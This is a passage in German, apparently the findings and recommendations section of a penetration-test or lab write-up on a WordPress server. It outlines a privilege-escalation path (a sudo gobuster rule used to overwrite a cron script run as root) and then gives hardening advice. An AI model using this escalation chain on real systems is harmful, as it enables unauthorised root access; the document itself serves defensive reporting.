- **System (Dateiberechtigungen):** `wp-config.php` war weltbeschreibbar (obwohl nicht ausgenutzt).
- **System (Cronjob):** Ein Cronjob führte regelmäßig ein Skript (`/opt/.test.sh`) als `root` aus. Dieses Skript konnte durch die `sudo gobuster`-Schwachstelle überschrieben werden.
Allgemeine Empfehlungen:
Empfehlung (Admin):
- Sofortmaßnahmen:
- Das unsichere WordPress Query Console Plugin (oder die entsprechende Funktion) sofort entfernen/deaktivieren.
- Die `sudo`-Regel für `gobuster` für den Benutzer `welcome` entfernen.
- Den Cronjob, der `/opt/.test.sh` ausführt, überprüfen und absichern (oder entfernen, wenn nicht benötigt). Berechtigungen für `/opt/.test.sh` korrigieren.
- Passwörter für die Benutzer `welcome` und `ll104567` ändern.
- Webserver & WordPress Härtung:
- Regelmäßig nach unbekannten oder unsicheren Plugins suchen und diese entfernen.
- WordPress REST API-Zugriff einschränken.
- Generische Login-Fehlermeldungen verwenden.
- Berechtigungen für `wp-config.php` auf `640` oder `600` setzen.
- Sicherheitsheader (X-Frame-Options, etc.) hinzufügen.
- System & Berechtigungen:
- Datenbankpasswörter sicher verwalten. Starke Passwörter für Systembenutzer erzwingen.
- `sudo`-Regeln nach dem Prinzip der geringsten Rechte erstellen. Niemals potenziell gefährliche Binaries mit `NOPASSWD` erlauben, insbesondere wenn sie Schreiboperationen (`-o`) ermöglichen.
- Cronjobs überprüfen und sicherstellen, dass sie keine von unprivilegierten Benutzern manipulierbaren Skripte ausführen. Dateiberechtigungen von Cronjob-Skripten härten.
- SSH härten (Keys bevorzugen, Fail2ban).
- Allgemeine Sicherheitspraktiken:
- Regelmäßige Schwachstellenscans und Penetrationstests.
- System und Software aktuell halten.
- Logging und Monitoring implementieren.